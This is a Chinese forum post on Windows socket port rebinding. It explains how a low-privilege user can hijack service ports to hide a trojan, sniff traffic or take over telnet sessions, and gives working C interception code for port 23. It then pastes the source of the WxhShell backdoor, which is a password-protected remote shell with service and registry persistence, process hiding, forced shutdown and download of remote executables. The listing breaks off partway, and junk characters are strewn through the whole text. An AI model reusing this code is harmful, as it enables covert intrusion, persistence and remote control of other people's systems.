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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Pm%5c\ef  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -%| ] d ;  
Bex;!1  
  saddr.sin_family = AF_INET; dm]g:KWg  
[oXSjLQm[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^M%P43  
%?, 7!|Ls  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bRrS d:e  
(EvYrm4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \o=9WKc  
'J3yJ{  
  这意味着什么?意味着可以进行如下的攻击: $gN\%X/n"1  
v*0J6<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6212*Z_Af  
egBk7@Ko  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4f~sRubK  
mZc;n.$U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x2a ?ugQ  
t- TUP>_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .c&&@>m@.  
cJbv,RV<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rsa_)iBC  
~5h4 Gy)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M$.bC0}T  
 ^#C+l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ah f,- ?S  
1L+hI=\O  
  #include U<;{_!]  
  #include >2#<tH0  
  #include 6 rj iZ%  
  #include    !.^x^OK%y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -G@uB_Cs  
  int main() )P?Fni}  
  { .ahY 1CO  
  WORD wVersionRequested; \!30t1EZ  
  DWORD ret; Fx}v.A5  
  WSADATA wsaData; 8_w6% md  
  BOOL val; SXYwhID=  
  SOCKADDR_IN saddr; .>}I/+n  
  SOCKADDR_IN scaddr; ,YjjL  
  int err; 7w" !"W#  
  SOCKET s; qo 7<g*kf~  
  SOCKET sc; 8(l0\R,%+z  
  int caddsize; [W{|94q  
  HANDLE mt; r7>FH!=:  
  DWORD tid;   P^=B6>e  
  wVersionRequested = MAKEWORD( 2, 2 ); AzF*4x  
  err = WSAStartup( wVersionRequested, &wsaData ); 3UW`Jyd`k  
  if ( err != 0 ) { m1j Eky(  
  printf("error!WSAStartup failed!\n"); rir,|y,  
  return -1; lK7:qo  
  } J k`Jv;  
  saddr.sin_family = AF_INET; ks("( nU  
   _Dqi#0#40p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q:7P /  
37:tu7e~c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H)E,([   
  saddr.sin_port = htons(23); {d'B._#i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rf8ZH  
  { 4[gbRn'  
  printf("error!socket failed!\n"); Oi& 9FS  
  return -1; `>g\gaQ  
  } 'YG P42#  
  val = TRUE; 7VZ^J`3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ME]7e^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >T*BEikC  
  { E #Ue9J  
  printf("error!setsockopt failed!\n"); +PLJ  
  return -1; frm[<-~w0  
  } bv(+$YR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L\"wz scn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /O$~)2^h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .@+M6K*  
~N; dX[@BT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t4d/%b~{:U  
  { 2?Ryk`2i)  
  ret=GetLastError(); ZVJ6 {DS/  
  printf("error!bind failed!\n"); #Dgu V  
  return -1; +}( ]7du  
  } *c/|/  
  listen(s,2); 7b-[# g  
  while(1) @oj_E0i3  
  {  PBW_9&d  
  caddsize = sizeof(scaddr); ? eI)m  
  //接受连接请求 Gdx %#@/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {yT<22Fl  
  if(sc!=INVALID_SOCKET) }*%=C!m4R!  
  { `FNU- I4s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); il{x?#Wrb  
  if(mt==NULL) s"nntC  
  { K iXD1Zpz  
  printf("Thread Creat Failed!\n"); Z ]ZUK  
  break; fM:bXR2Y'  
  } {Fyw<0 [@  
  } i@WO>+iB  
  CloseHandle(mt); pp*MHM)x|q  
  } J32{#\By  
  closesocket(s); bOrE86v:  
  WSACleanup(); Ktzn)7-  
  return 0; ^i WGGnGS  
  }   xDekC~ Zq  
  DWORD WINAPI ClientThread(LPVOID lpParam) xOg|<Nnl  
  { K)`R?CZ:s  
  SOCKET ss = (SOCKET)lpParam; ,g?M[(wtc  
  SOCKET sc; ujX\^c  
  unsigned char buf[4096]; 1 rbc}e  
  SOCKADDR_IN saddr; >2}*L"YC  
  long num; yJqDB$0  
  DWORD val; 6rG7/  
  DWORD ret; L:lnm9<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R*LPwJuv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "Ya ;&F.'  
  saddr.sin_family = AF_INET; P??pWzb6HH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <>-gQ9  
  saddr.sin_port = htons(23); }c4F}Cy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z=jzr=lP  
  { e 1bV&  
  printf("error!socket failed!\n"); I|>IV  
  return -1; C`3fM05g  
  } l{ fL~O  
  val = 100; b^8"EBo  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^H<VH  
  { D,-L!P  
  ret = GetLastError(); T_)+l)  
  return -1; Pj8Vl)8~NV  
  } X88I|Z'HIh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xe/7rhov  
  { T%}x%9VO7  
  ret = GetLastError(); Pff-eT+~m  
  return -1; Wk-. dJ  
  } {=R vFA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #LwDs,J:  
  { ={190=\9  
  printf("error!socket connect failed!\n"); P8CIKoKCV  
  closesocket(sc); a,M/i&.e`  
  closesocket(ss); K~5(j{Kb8  
  return -1; G jrN1+9=  
  } X)9|ZF2`  
  while(1) dwzk+@]8  
  { V-i:t,*lk(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Uf[Gs/!NV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %-!:$ 1;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;]/cCi  
  num = recv(ss,buf,4096,0); }LZz"b<aw  
  if(num>0) <lPHeO<^]  
  send(sc,buf,num,0); Z>@\!$Mc  
  else if(num==0) yaX%<KBa\  
  break; WPu%{/ [  
  num = recv(sc,buf,4096,0); _&@cU<bdee  
  if(num>0) FEA/}*2F  
  send(ss,buf,num,0); O,I7M?dRf  
  else if(num==0) gp{P _  
  break; O} lqY?0*  
  } !-gOqo  
  closesocket(ss); IifH=%2Y  
  closesocket(sc); KiNluGNt  
  return 0 ; T5 BoOVgO  
  } P'Jb')m  
~BI! l  
B"RZpx  
========================================================== mO\=# Q>  
yLt?XhRlp  
下边附上一个代码,,WXhSHELL `jDmbD +=  
<,T#* fg  
========================================================== +G!;:o  
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#include "stdafx.h" ou&7v<)x4  
<{1 3Nd'o  
#include <stdio.h> pQ+4++7ID  
#include <string.h> YH!` uU(Lh  
#include <windows.h> zhwajc  
#include <winsock2.h> Nx(y_.I{K  
#include <winsvc.h> @j4~`~8  
#include <urlmon.h> GwlAEhP  
=j1Q5@vS  
#pragma comment (lib, "Ws2_32.lib") Aa%ks+1  
#pragma comment (lib, "urlmon.lib") Bk1gE((  
aw0xi,Jz  
#define MAX_USER   100 // 最大客户端连接数 #+P)X_i`  
#define BUF_SOCK   200 // sock buffer \3z^/F~  
#define KEY_BUFF   255 // 输入 buffer :cTwp K  
IAn/?3a~  
#define REBOOT     0   // 重启 a,p7l$kK  
#define SHUTDOWN   1   // 关机 zd [cp@  
 _$4vk  
#define DEF_PORT   5000 // 监听端口 >E(IkpZ  
8,(5Q  
#define REG_LEN     16   // 注册表键长度 .J|" bs9  
#define SVC_LEN     80   // NT服务名长度 noNL.%I  
i+.bR.WO  
// 从dll定义API ,b8B)VZ?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j2{ '!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b*qC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [k6 5i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T k>N4yq  
@AkD-}^[  
// wxhshell配置信息 [kq+a] q  
struct WSCFG { +xtR`Y"  
  int ws_port;         // 监听端口 ma26|N5  
  char ws_passstr[REG_LEN]; // 口令 *YY:JLe  
  int ws_autoins;       // 安装标记, 1=yes 0=no .:s**UiDR  
  char ws_regname[REG_LEN]; // 注册表键名 0IjQqI  
  char ws_svcname[REG_LEN]; // 服务名 G;pxB,4s5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rru `% ~'O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ib8xvzR6I&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <%rG*vzi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Ikx0vDFQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $PNIuC?=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +hS}msu'  
G@QZmuj&KH  
}; /F 1mYq~  
)zVD!eG_9  
// default Wxhshell configuration r@(hRl1k'  
struct WSCFG wscfg={DEF_PORT, ;HaG-c</  
    "xuhuanlingzhe", 4E& 3{hnp  
    1, bKH8/*Yk  
    "Wxhshell", a|@^ N  
    "Wxhshell", C"ZCX6p+$  
            "WxhShell Service", nPUq+cXy]C  
    "Wrsky Windows CmdShell Service", "VcG3.  
    "Please Input Your Password: ", vg1p{^N !  
  1, ~?{@0,$  
  "http://www.wrsky.com/wxhshell.exe", s&$Zgf6Z  
  "Wxhshell.exe" Si]8*>}-B  
    }; qN_jsJ  
m:~s6c6H  
// 消息定义模块 n2H2G_-L[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9Kyr/6w4-k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rm4j8~Ef  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rT ~qoA\  
char *msg_ws_ext="\n\rExit."; .HG0%Vp  
char *msg_ws_end="\n\rQuit."; CxtH?9# |  
char *msg_ws_boot="\n\rReboot..."; `7|v  
char *msg_ws_poff="\n\rShutdown..."; _dq.hW7  
char *msg_ws_down="\n\rSave to "; w_I}FPT<(:  
rf8`|9h"7  
char *msg_ws_err="\n\rErr!"; @4b"0ne}h  
char *msg_ws_ok="\n\rOK!"; ( UV8M\  
t <#Yr%a  
char ExeFile[MAX_PATH]; 7@Qz  
int nUser = 0; 9oY%v7  
HANDLE handles[MAX_USER]; R28h%KN  
int OsIsNt; ]ba O{pJi  
sEL[d2oO  
SERVICE_STATUS       serviceStatus; @&d/}Mx"t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *Oo2rk nQ  
b07 MTDFH7  
// 函数声明 Zl.}J,0F  
int Install(void); *B`wQhB%  
int Uninstall(void); 8fJ- XFK$:  
int DownloadFile(char *sURL, SOCKET wsh); 0=&Hm).  
int Boot(int flag); a3037~X  
void HideProc(void); Y9 , KOs  
int GetOsVer(void); nYMdYt04sl  
int Wxhshell(SOCKET wsl); R b6` k^  
void TalkWithClient(void *cs); ;Zc(qA  
int CmdShell(SOCKET sock); K9gfS V>]  
int StartFromService(void); y%\kgWV  
int StartWxhshell(LPSTR lpCmdLine); 2rf-pdOvG  
!5Kv9P79  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 50Co/-)j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X5527`?e  
N'!a{rF  
// 数据结构和表定义 hO@'WoniW  
SERVICE_TABLE_ENTRY DispatchTable[] = <`b)56v:+  
{ u-At k-2M  
{wscfg.ws_svcname, NTServiceMain}, S=ebht=  
{NULL, NULL} Sim\+SL{#  
}; _CBG?  
Edc<  8-  
// 自我安装 :}v&TQ  
int Install(void)  =h\,-8  
{ &hEtVkK  
  char svExeFile[MAX_PATH]; ]4yWcnf  
  HKEY key; a8FC#kfq  
  strcpy(svExeFile,ExeFile); CYmwT>P+*4  
&%}6&PW i  
// 如果是win9x系统,修改注册表设为自启动 NSUw7hnWvz  
if(!OsIsNt) { &[}b HX /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0$%:zHi5g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6SIk?]u  
  RegCloseKey(key); f+j\,LJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9sifc<za  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u1xCn\  
  RegCloseKey(key); Ro`9Ibqr  
  return 0; Wqy|Y*$qT  
    } T$)&8"Xya  
  } nxkbI:+t  
} p?2 \9C4  
else { 0qqk:h  
Cb5;l~}L  
// 如果是NT以上系统,安装为系统服务 A'HFpsa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $014/IB  
if (schSCManager!=0) 9q5jqFQ  
{ \C $LjSS-  
  SC_HANDLE schService = CreateService f^b.~jXSR}  
  ( ov*?[Y7|~  
  schSCManager,  eme7y  
  wscfg.ws_svcname, _o/LFLq  
  wscfg.ws_svcdisp, &#^^UT(nj  
  SERVICE_ALL_ACCESS, O%L]*vIr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'hN_H}U  
  SERVICE_AUTO_START, :sAb'6u1EU  
  SERVICE_ERROR_NORMAL, D^8]+2r  
  svExeFile, >M=_:52.+  
  NULL, $ (/=Wn  
  NULL, e` 9d&"  
  NULL, m r"b/oM{  
  NULL, tBC`(7E}  
  NULL 82l$]W4  
  ); ]Jz2[F"J  
  if (schService!=0) S-l<+O1fy  
  { ^S:S[0\,  
  CloseServiceHandle(schService); viB'ul7o  
  CloseServiceHandle(schSCManager); f 1s3pr??  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #@FMH*?xX6  
  strcat(svExeFile,wscfg.ws_svcname); q{T [|(!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uF,F<%d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /9T.]H ~  
  RegCloseKey(key);  |Hx#Uk#  
  return 0; C{( &Yy"  
    } (iQ< [3C=  
  } >G7dw1;  
  CloseServiceHandle(schSCManager); )#S;H$@$  
} O(x1Ja,&  
} 3L}eF g,d  
\PReQ|[ah  
return 1; uH*moVw@5  
} =r z7x  
 2%4u/  
// 自我卸载 O|%03q(  
int Uninstall(void) JBqL0H  
{ hOFC8g  
  HKEY key; _L?MYkD  
kjAARW  
if(!OsIsNt) { 4JQd/;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y5/frJ  
  RegDeleteValue(key,wscfg.ws_regname); [$\KS_,Mn  
  RegCloseKey(key); vH1IVF"DS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eX)'C>4W  
  RegDeleteValue(key,wscfg.ws_regname); WB)pE'5  
  RegCloseKey(key); tofX.oi+C$  
  return 0; uoJ@Jt'j  
  } 6g*?(Y][  
} T.bn~Z#f  
} 'q>2WP|UY9  
else { Me;XG?`  
r2ZSkP.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {Kh^)oYdd  
if (schSCManager!=0) B&fH FyK1n  
{ To/6=$wto  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +O$`8a)m  
  if (schService!=0) >EE}P|=-  
  { UHyGW$B  
  if(DeleteService(schService)!=0) {  4,g_$)  
  CloseServiceHandle(schService); jk (tw-B  
  CloseServiceHandle(schSCManager); ,GeW_!Q[  
  return 0; ^VI\:<\{  
  } c,>y1%V*S{  
  CloseServiceHandle(schService); 8*zORz  
  } Ml,~@} p  
  CloseServiceHandle(schSCManager); [0bp1S~  
} h2jrO9  
} F\u]X  
xAwP  
return 1; ^%5 ;Sc1V  
} d+45Y,|  
, wXixf2  
// 从指定url下载文件 vVhSl$mW  
int DownloadFile(char *sURL, SOCKET wsh) Kz~E"?  
{ q$7w?(Lk  
  HRESULT hr; z`H|]${X  
char seps[]= "/"; vzX%x ul  
char *token; Y{KN:|i.!  
char *file; dzk1!yy  
char myURL[MAX_PATH]; E]w2 {%  
char myFILE[MAX_PATH]; xiv8q/  
&3Y"Zd!  
strcpy(myURL,sURL); mX/'Fta  
  token=strtok(myURL,seps); &?@gCVNO,  
  while(token!=NULL) 4V<.:.k  
  { 73j\!x  
    file=token; f_|pl^  
  token=strtok(NULL,seps); n\GN}?4  
  } `\beQ(g  
Prc (  
GetCurrentDirectory(MAX_PATH,myFILE); 'QSj-  
strcat(myFILE, "\\"); c( _R xLJ  
strcat(myFILE, file); j'x@P+A  
  send(wsh,myFILE,strlen(myFILE),0); -{2Vz[[  
send(wsh,"...",3,0);  eC[G4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lLur.f  
  if(hr==S_OK) / z m+  
return 0; 5{gv \S1  
else y@h v#;  
return 1; '2qbIYanh  
Qo/pz2N  
} P^aNAa  
_BEDQb{"|  
// 系统电源模块 =qvn?I^/  
int Boot(int flag) |Ed?s  
{ C%#w1k  
  HANDLE hToken; e%km}mA  
  TOKEN_PRIVILEGES tkp; eN'b" _D  
=}" P;4:  
  if(OsIsNt) { rR4?*90vjj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }ssP%c]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SJ}PV:x  
    tkp.PrivilegeCount = 1; %!7A" >ai  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^V~^[Yp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2Akh/pb  
if(flag==REBOOT) { ~tLvD[n[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u+9)B 6O1  
  return 0; J8B0H1  
} )EK\3q  
else { #Vhr 1;j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W!+eJ!Da  
  return 0; EK Ac>g  
} aI>F8R?  
  } HHerL%/   
  else { CHi t{ @9  
if(flag==REBOOT) { >uo=0=9=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bN&DotG  
  return 0; 6P T)  
} r]'[qaP  
else { dUBf.2 ry  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4av  
  return 0; HqI[]T@  
} 9e7):ZupO  
} 9.:&u/e  
hh$i1n  
return 1; 2q UX"a4  
} |kF"p~s  
P_P~c~o  
// win9x进程隐藏模块 8PqlbLo1  
void HideProc(void) j*FpQiBoT  
{ 4QE")Ge  
I-Q(kWc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o{' J O3  
  if ( hKernel != NULL ) ?k=)T]-}  
  { ;Za^).=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >CqZ75>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u= Ga}  
    FreeLibrary(hKernel); 1]W8A.ZS  
  } #'m#Q6`  
#^_7i)=~  
return; mC$ te  
} a *bc#!e  
Abpzf\F  
// 获取操作系统版本 ~(L&*/c  
int GetOsVer(void) {qm5H7sL  
{ ^Ge|tBMoKE  
  OSVERSIONINFO winfo; Y3ypca&P9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Va4AE)[/*  
  GetVersionEx(&winfo); x}f)P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ; m:I  
  return 1; ,D.@6 bJW  
  else fc<,kRp  
  return 0; bWZ oGFT  
} 'N&s$XB,  
X;{U?`b-  
// 客户端句柄模块 Pk8(2fAYk  
int Wxhshell(SOCKET wsl) ;p"#ZS7  
{ QbYNL9%  
  SOCKET wsh;  "2 }n(8  
  struct sockaddr_in client; PkOtg[Z  
  DWORD myID; m[w~h\FS  
SIzA0  
  while(nUser<MAX_USER) >p3S,2SM  
{ 4)9Pgp :  
  int nSize=sizeof(client); wh3Wuh?x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t?p>L*  
  if(wsh==INVALID_SOCKET) return 1; ;?gR,AKZ  
r3YfY \  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HmV JkkksJ  
if(handles[nUser]==0) s{fL~}Yz  
  closesocket(wsh); "-Uqv@  
else O_D;_v6Ii+  
  nUser++; /b{Ufo3v  
  } 2~)q080jh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L @8[.  
!/"y  
  return 0;  rjHW  
} jYh.$g<`0+  
,f .#-  
// 关闭 socket %Gjjl*`E  
void CloseIt(SOCKET wsh) b~+\\,q}  
{ ,`(Qs7)Xx  
closesocket(wsh); tY?evsVgz  
nUser--; ra]\!;}L0  
ExitThread(0); s3)T}52  
} L ~$&+g  
V/8yW3]Xy  
// 客户端请求句柄 z.:IUm{z  
void TalkWithClient(void *cs) :5zO!~\  
{ $t>ow~Xi  
peU1 t:k?  
  SOCKET wsh=(SOCKET)cs; Wp=:|J   
  char pwd[SVC_LEN]; "oCXG`.k&  
  char cmd[KEY_BUFF]; >&|/4`HSB  
char chr[1]; p{JE@TM  
int i,j; Lw{'mtm  
5{#ya 2  
  while (nUser < MAX_USER) { {"^#CSi  
GV SVNT}I  
if(wscfg.ws_passstr) { }}v28"\TA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YifTC-Q;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ":^cb =  
  //ZeroMemory(pwd,KEY_BUFF); R(A"6a8*  
      i=0; B=2f-o  
  while(i<SVC_LEN) { j`"cU$NRM  
-GL-&^3IjH  
  // 设置超时 E2|c;{ c  
  fd_set FdRead; r)Iq47Uiw  
  struct timeval TimeOut; oFS)3.  
  FD_ZERO(&FdRead); .w~zW*M0  
  FD_SET(wsh,&FdRead); #]Q.B\\  
  TimeOut.tv_sec=8; :sek MNM  
  TimeOut.tv_usec=0; ZQDw|*a@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5,?Au  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^ `Y1   
j*1O(p+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 86f/R c  
  pwd=chr[0]; CA ,0Fe3  
  if(chr[0]==0xd || chr[0]==0xa) { d#nKTqSg  
  pwd=0; >l!DW i6  
  break; e@L7p,  
  } h+Tt+ Q\  
  i++; ht^xc c  
    } 1)h+xY  
y :8Oc?  
  // 如果是非法用户,关闭 socket 3.I:`>;EO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \YsYOFc|  
} (yi{<$ U*  
jiAN8t*P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r1X\$&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <o\I C?A  
nK|WzUtp  
while(1) { TfqQh!Y  
Kg;1%J>ee  
  ZeroMemory(cmd,KEY_BUFF); . vQCX1V(  
T=->~@5  
      // 自动支持客户端 telnet标准   FG5t\!dt<  
  j=0; @C6.~OiP  
  while(j<KEY_BUFF) { W%cJ#R[o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .TetN}w  
  cmd[j]=chr[0]; - AxO1 qO  
  if(chr[0]==0xa || chr[0]==0xd) { [0mg\n?  
  cmd[j]=0; DU-&bm  
  break; F]~>qt<ia  
  } xA2 "i2k9  
  j++; u@-x3%W  
    } Kdwt^8Umh  
yPza  
  // 下载文件 -.X-02  
  if(strstr(cmd,"http://")) { }Qm: g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S&YC"  
  if(DownloadFile(cmd,wsh)) KPSHBv-#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *_7%n-k  
  else K0O&-v0"1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); myeez+@ m  
  } BSB;0OM  
  else { qA6;Q$  
y6nPs6kR  
    switch(cmd[0]) { m|w-}s,  
  UMbM3m=\  
  // 帮助 u4a(AB>S  
  case '?': { B#K{Y$!v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !nkjp[p  
    break; qx~-(|s`H  
  } 0xYPK7a=L\  
  // 安装 N8^ AH8l  
  case 'i': { &%Lps_+fJ  
    if(Install()) |B;tv#mKD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B#T4m]E/  
    else .v{ok,&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P[E5e+ A)  
    break; 8=U0\<wT  
    } i7/I8y  
  // 卸载 3,<$z1Jm  
  case 'r': { _c 4kj  
    if(Uninstall()) af<R.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lU[" ZFP  
    else lef,-{X-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EBX+fzjQo  
    break;  bK|I  
    } zFqlTUD`t  
  // 显示 wxhshell 所在路径 /RzL,~]  
  case 'p': { YxUC.2V|7$  
    char svExeFile[MAX_PATH]; rv\m0*\<  
    strcpy(svExeFile,"\n\r"); 0//?,'.  
      strcat(svExeFile,ExeFile); MM*B.y~TxZ  
        send(wsh,svExeFile,strlen(svExeFile),0); eiV[y^?  
    break; y7quKv7L}  
    } D 1Q@4  g  
  // 重启 *+ql{\am4N  
  case 'b': { {m )$b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3S~Gi,  
    if(Boot(REBOOT)) /uM;g9 m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .m]"lH*  
    else { Oist>A$Z  
    closesocket(wsh); 0 xUw}T6  
    ExitThread(0); J7`fve  
    } `EUufTYi  
    break; ([r4N#lx  
    } +; P8QZK6  
  // 关机 1yS [;  
  case 'd': { +EZ Lic  
